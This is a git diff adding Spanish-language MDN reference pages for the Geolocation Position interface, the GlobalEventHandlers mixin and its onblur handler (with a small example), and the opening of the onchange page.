diff --git a/files/es/web/api/geolocationposition/index.html b/files/es/web/api/geolocationposition/index.html
new file mode 100644
index 0000000000..23c3881e5c
--- /dev/null
+++ b/files/es/web/api/geolocationposition/index.html
@@ -0,0 +1,63 @@
+---
+title: Position
+slug: Web/API/GeolocationPosition
+tags:
+  - API
+  - Contexto seguro
+  - Geolocalización
+  - Geolocation API
+  - Interfaz
+  - Posición
+  - Position
+translation_of: Web/API/GeolocationPosition
+---
+<div>{{securecontext_header}}{{APIRef("Geolocation API")}}</div>
+
+<p>La interfaz <strong><code>Position</code></strong> representa la posición del dispositivo en cuestión en un momento dado. La posición, representada por el objeto {{domxref("Coordinates")}}, comprende la posición en dos dimensiones del dispositivo en un esferoide representando la Tierra y además su altitud y velocidad.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>La interfaz <code>Position</code> no hereda ninguna propiedad.</em></p>
+
+<dl>
+ <dt>{{domxref("Position.coords")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Devuelve un objeto {{domxref("Coordinates")}} que indica la posición actual.</dd>
+ <dt>{{domxref("Position.timestamp")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Devuelve un  {{domxref("DOMTimeStamp")}} indicando el momento en que la localización ha sido recuperada.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<p><em><em>La interfaz <code>Position</code> no implementa ni hereda ningún método<em>.</em></em></em></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#position', 'Position')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Especificación inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página está generada a partir de datos estructurados. Si quieres contribuir con datos, por favor, revisa <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una pull request.</div>
+
+<p>{{Compat("api.Position")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>La interfaz {{domxref("Geolocation")}} que la usa.</li>
+</ul>
diff --git a/files/es/web/api/globaleventhandlers/index.html b/files/es/web/api/globaleventhandlers/index.html
new file mode 100644
index 0000000000..7cc46be5aa
--- /dev/null
+++ b/files/es/web/api/globaleventhandlers/index.html
@@ -0,0 +1,272 @@
+---
+title: GlobalEventHandlers
+slug: Web/API/GlobalEventHandlers
+tags:
+  - API
+  - DOM HTML
+  - GlobalEventHandlers
+  - Mixin
+  - Referencia
+  - combinación
+  - eventos
+translation_of: Web/API/GlobalEventHandlers
+---
+<div>{{ApiRef("DOM HTML")}}</div>
+
+<p><span class="seoSummary">La combinación («<em>mixin</em>» en inglés) <strong><code>GlobalEventHandlers</code> </strong> describe los controladores de eventos comunes a varias interfaces como {{DOMxRef("HTMLElement")}}, {{DOMxRef("Document")}} o {{DOMxRef("Window")}}.</span> Cada una de estas interfaces puede, por supuesto, agregar más controladores de eventos además de los que se enumeran a continuación.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: <code>GlobalEventHandlers</code> es una combinación («<em>mixin</em>») y no una interfaz; en realidad, no puedes crear un objeto de tipo <code>GlobalEventHandlers</code>.</p>
+</div>
+
+<h2 id="Propiedades_2">Propiedades</h2>
+
+<p><em>Esta interfaz no incluye ninguna propiedad excepto los controladores de eventos que se enumeran a continuación.</em></p>
+
+<h3 id="Controladores_de_eventos">Controladores de eventos</h3>
+
+<p>Estos controladores de eventos se definen en el mixin {{DOMxRef("GlobalEventHandlers")}} y se implementan mediante {{DOMxRef("HTMLElement")}}, {{DOMxRef("Document")}}, {{DOMxRef("Window ")}}, así como por {{DOMxRef("WorkerGlobalScope")}} para «<em>Web Workers</em>».</p>
+
+<div id="Propiedades">
+<dl>
+ <dt>{{DOMxRef("GlobalEventHandlers.onabort")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{DOMxRef("HTMLMediaElement/abort_event", "abort")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onanimationcancel")}} {{Non-standard_inline}}</dt>
+ <dd>Se llama a {{DOMxRef("EventHandler")}} cuando se envía un evento {{event("animationcancel")}}, lo cual indica que una {{web.link("/s/docs/Web/CSS/CSS_Animations", "animación CSS")}} se ha cancelado.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onanimationend")}} {{Non-standard_inline}}</dt>
+ <dd>Se llama a {{DOMxRef("EventHandler")}} cuando se envía un evento {{event("animationend")}}, lo cual indica que {{web.link("/es/docs/Web/CSS/CSS_Animations", "la animación CSS")}} se ha detenido.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onanimationiteration")}} {{Non-standard_inline}}</dt>
+ <dd>Un {{DOMxRef("EventHandler")}} llamado cuando se ha enviado un evento {{event("animationiteration")}}, indica que una {{web.link("/es/docs/Web/CSS/CSS_Animations", "animación CSS")}} ha comenzado a reproducir una nueva iteración de la secuencia de animación.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onanimationstart")}} {{Non-standard_inline}}</dt>
+ <dd>Se llama a {{DOMxRef("EventHandler")}} cuando se envía un evento {{event("animationstart")}}, lo cual indica que una {{web.link("/es/docs/Web/CSS/CSS_Animations", "animación CSS")}} se ha comenzado a reproducir.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onauxclick")}} {{Non-standard_inline}}</dt>
+ <dd>Se llama a {{DOMxRef("EventHandler")}} cuando se envía un evento {{event("auxclick")}}, el cual indica que se ha presionado un botón no principal en un dispositivo de entrada (por ejemplo, un botón central del ratón).</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onblur")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("blur")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onerror")}}</dt>
+ <dd>Es un {{DOMxRef("OnErrorEventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("error")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onfocus")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("focus")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.oncancel")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("cancel")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.oncanplay")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("canplay")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.oncanplaythrough")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("canplaythrough")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onchange")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("change")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onclick")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("click")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onclose")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("close")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.oncontextmenu")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("contextmenu")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.oncuechange")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("cuechange")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.ondblclick")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("dblclick")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.ondrag")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("drag")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.ondragend")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("dragend")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.ondragenter")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("dragenter")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.ondragexit")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("dragexit")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.ondragleave")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("dragleave")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.ondragover")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("dragover")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.ondragstart")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("dragstart")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.ondrop")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("drop")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.ondurationchange")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("durationchange")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onemptied")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("emptied")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onended")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("ended")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onformdata")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} para procesar eventos {{event("formdata")}}, que se activa después de que se construye la lista de entrada que representa los datos del formulario.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.ongotpointercapture")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el tipo de evento {{event("gotpointercapture")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.oninput")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("input")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.oninvalid")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("invalid")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onkeydown")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("keydown")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onkeypress")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("keypress")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onkeyup")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("keyup")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onload")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("load")}} event is raised.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onloadeddata")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("loadeddata ")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onloadedmetadata")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("loadedmetadata")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onloadend")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("loadend")}} (cuando el progreso se haya detenido en la carga de un recurso).</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onloadstart")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("loadstart")}} (cuando el progreso ha comenzado a cargar un recurso).</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onlostpointercapture")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el tipo de evento {{event("lostpointercapture")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onmousedown")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("mousedown")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onmouseenter")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("mouseenter")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onmouseleave")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("mouseleave")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onmousemove")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("mousemove")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onmouseout")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("mouseout")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onmouseover")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("mouseover")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onmouseup")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("mouseup")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onmousewheel")}} {{Non-standard_inline}} {{Deprecated_inline}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("mousewheel")}}. Desaprobado. Utiliza <code>onwheel</code> en su lugar.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onwheel")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("wheel")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onpause")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("pause")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onplay")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("play")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onplaying")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("playing")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onpointerdown")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("pointerdown")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onpointermove")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("pointermove")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onpointerup")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("pointerup")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onpointercancel")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("pointercancel")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onpointerover")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("pointerover")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onpointerout")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("pointerout")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onpointerenter")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("pointerenter")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onpointerleave")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("pointerleave")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onpointerlockchange")}} {{experimental_inline}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("pointerlockchange")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onpointerlockerror")}} {{experimental_inline}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("pointerlockerror")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onprogress")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("progress")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onratechange")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("ratechange")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onreset")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("reset")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onresize")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("resize")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onscroll")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("scroll")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onseeked")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("seeked")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onseeking")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("seek")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onselect")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("select")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onselectstart")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("selectionchange")}}, es decir, cuando el usuario comience a realizar una nueva selección de texto en una página web.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onselectionchange")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genera el evento {{event("selectionchange")}}, es decir, cuando cambia el texto seleccionado en una página web.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onshow")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("show")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onsort")}} {{experimental_inline}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("sort")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onstalled")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("stalled")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onsubmit")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("submit")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onsuspend")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("suspend")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.ontimeupdate")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("timeupdate")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onvolumechange")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("volumechange")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.ontouchcancel")}} {{Non-standard_inline}} {{Experimental_inline}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("touchcancel")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.ontouchend")}} {{Non-standard_inline}} {{Experimental_inline}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("touchend")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.ontouchmove")}} {{Non-standard_inline}} {{Experimental_inline}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("touchmove")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.ontouchstart")}} {{Non-standard_inline}} {{Experimental_inline}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("touchstart")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.ontransitioncancel")}}</dt>
+ <dd>Se llama a {{DOMxRef("EventHandler")}} cuando se envía un evento {{event("transitioncancel")}}, lo cual indica que {{web.link("/es/docs/Web/CSS/CSS_Transitions", "se canceló la transición CSS")}}.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.ontransitionend")}}</dt>
+ <dd>Se llama a {{DOMxRef("EventHandler")}} cuando se envía un evento {{event("transitionend")}}, lo cual indica que {{web.link("/es/docs/Web/CSS/CSS_Transitions", "la transición CSS")}} se ha terminado de reproducir.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.ontransitionrun")}}</dt>
+ <dd>Se llama a {{DOMxRef("EventHandler")}} cuando se envía un evento {{event("transitionrun")}}, lo cual indica que {{web.link("/es/docs/Web/CSS/CSS_Transitions", "la transición CSS")}} se está ejecutando, aunque no necesariamente se inició.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.ontransitionstart")}}</dt>
+ <dd>Se llama a {{DOMxRef("EventHandler")}} cuando se envía un evento {{event("transitionstart")}}, lo cual indica que {{web.link("/es/docs/Web/CSS/CSS_Transitions", "la transición CSS")}} ha comenzado a realizar la transición.</dd>
+ <dt>{{DOMxRef("GlobalEventHandlers.onwaiting")}}</dt>
+ <dd>Es un {{DOMxRef("EventHandler")}} que representa el código que se llamará cuando se genere el evento {{event("waiting")}}.</dd>
+</dl>
+</div>
+
+<h2 id="Métodos">Métodos</h2>
+
+<p><em>Esta interfaz no define métodos</em></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Selection API",'', 'Extensión a GlobalEventHandlers')}}</td>
+   <td>{{Spec2('Selection API')}}</td>
+   <td>Agrega <code>en el cambio de selección.</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Lock', '#extensions-to-the-document-interface', 'Extensión de Document')}}</td>
+   <td>{{Spec2('Pointer Lock')}}</td>
+   <td>Agrega <code>onpointerlockchange</code> y <code>onpointerlockerror</code> en {{DOMxRef("Document")}}. Está implementado experimentalmente en <code>GlobalEventHandlers</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#globaleventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td>Sin cambios desde la última instantánea, {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#globaleventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Instantánea de {{SpecName("HTML WHATWG")}}. Agregó <code>onsort</code> desde la instantánea de {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#globaleventhandlers", "GlobalEventHandlers")}}</td>
+   <td>{{ Spec2('HTML5 W3C') }}</td>
+   <td>Instantánea de {{SpecName("HTML WHATWG")}}. Creación de <code>GlobalEventHandlers</code> (propiedades en el destino anterior).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("api.GlobalEventHandlers")}}</p>
+</div>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{DOMxRef("Element")}}</li>
+ <li>{{DOMxRef("EventHandler")}}</li>
+ <li>{{DOMxRef("Event")}}</li>
+</ul>
diff --git a/files/es/web/api/globaleventhandlers/onblur/index.html b/files/es/web/api/globaleventhandlers/onblur/index.html
new file mode 100644
index 0000000000..204cce4ab1
--- /dev/null
+++ b/files/es/web/api/globaleventhandlers/onblur/index.html
@@ -0,0 +1,90 @@
+---
+title: GlobalEventHandlers.onblur
+slug: Web/API/GlobalEventHandlers/onblur
+translation_of: Web/API/GlobalEventHandlers/onblur
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>La propiedad <strong>onblur</strong> retorna el código del manejador de evento onBlur, si existe, en el elemento actual.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">element.onblur = function;
+</pre>
+
+<ul>
+ <li><code>function</code> es el nombre de una función definida por el usuario, sin el sufijo () ni ningún parámetro, o una declaración de función anónima, como:</li>
+</ul>
+
+<pre class="syntaxbox">element.onblur = function() { console.log("¡evento onblur detectado!"); };
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: html">&lt;html&gt;
+
+&lt;head&gt;
+&lt;title&gt;ejemplo de evento onblur&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+var elem = null;
+
+function initElement()
+{
+  elem = document.getElementById("foo");
+  // NOTA: doEvent(); ó doEvent(param); no funcionará aquí.
+  // Debe ser una referencia a un nombre de función, no una llamada a función.
+  elem.onblur = doEvent;
+};
+
+function doEvent()
+{
+  elem.value = 'Bye-Bye';
+  console.log("¡Evento onblur detectado!")
+}
+&lt;/script&gt;
+
+&lt;style type="text/css"&gt;
+&lt;!--
+#foo {
+border: solid blue 2px;
+}
+--&gt;
+&lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body onload="initElement();"&gt;
+&lt;form&gt;
+&lt;input type="text" id="foo" value="Hola!" /&gt;
+&lt;/form&gt;
+
+&lt;p&gt;Haga click en el elemento superior to darle el foco, luego click fuera del elemento.&lt;br /&gt;
+Recarge la página desde la barra de navegación.&lt;/p&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<p>El evento blur es generado cuando un elemento pierde el foco.</p>
+
+<p>A diferencia de MSIE --en el cual la mayoría de tipos de elementos reciben el evento blur--  la mayoría de elementos de los navegadores basados en Gecko NO funcionan con este evento.</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Observaciones</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onblur','onblur')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/es/web/api/globaleventhandlers/onchange/index.html b/files/es/web/api/globaleventhandlers/onchange/index.html
new file mode 100644
index 0000000000..a51f7d25d8
--- /dev/null
+++ b/files/es/web/api/globaleventhandlers/onchange/index.html
@@ -0,0 +1,97 @@
+---
+title: GlobalEventHandlers.onchange
+slug: Web/API/GlobalEventHandlers/onchange
+translation_of: Web/API/GlobalEventHandlers/onchange
+---
+<div>
+<div>{{ ApiRef("HTML DOM") }}</div>
+</div>
+
+<p>La propiedad <code>onchange</code> establece y devuelve el <a href="/docs/Web/Guide/Events/Event_handlers" title="/en-US/docs/Web/Guide/DOM/Events/Event_handlers">event handler</a> para el evento {{event("change")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
